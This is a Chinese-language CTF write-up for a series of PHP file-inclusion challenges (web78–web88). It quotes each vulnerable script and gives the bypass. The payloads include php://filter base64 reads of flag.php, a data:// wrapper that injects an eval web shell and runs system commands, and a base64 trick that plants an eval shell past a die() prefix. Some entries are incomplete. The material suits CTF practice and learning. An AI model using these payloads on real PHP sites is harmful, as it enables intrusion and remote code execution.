web78
<?php if(isset($_GET['file'])){ $file = $_GET['file']; include($file); }else{ highlight_file(__FILE__); }
最简单的php伪协议
?file=php://filter/convert.base64-encode/resource=flag.php
再base64解码可得flag
web79
<?php if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); include($file); }else{ highlight_file(__FILE__); }
这个题把php替换成了???
这里用data协议,
?file=data://text/plain,<?=eval($_POST[1]);?> 1=phpinfo();
在这里插入图片描述然后读取flag
1=system("tac flag.php");
web80
这个题php和data都被过滤了
web87
<?php if(isset($_GET['file'])){ $file = $_GET['file']; $content = $_POST['content']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content); }else{ highlight_file(__FILE__); }
死亡die绕过 https://www.freebuf.com/vuls/202819.html https://www.leavesongs.com/PENETRATION/php-filter-magic.html
其中PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==是"<?php eval($_POST[1]);"的base64编码。前面的11是为了填充"<?php die('大佬别秀了');?>" base64 4位4位解码,其中"<?php die('大佬别秀了');?>"解码的内容其实只有phpdie,所以需要再填充两位。 //content=<?php eval($_POST[1]);
web88
<?php if(isset($_GET['file'])){ $file = $_GET['file']; if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){ die("error"); } include($file); }else{ highlight_file(__FILE__); }
data伪协议,base64加密,然后把=删除,过滤了=和+,不能有+,=可以删除(不影响解码)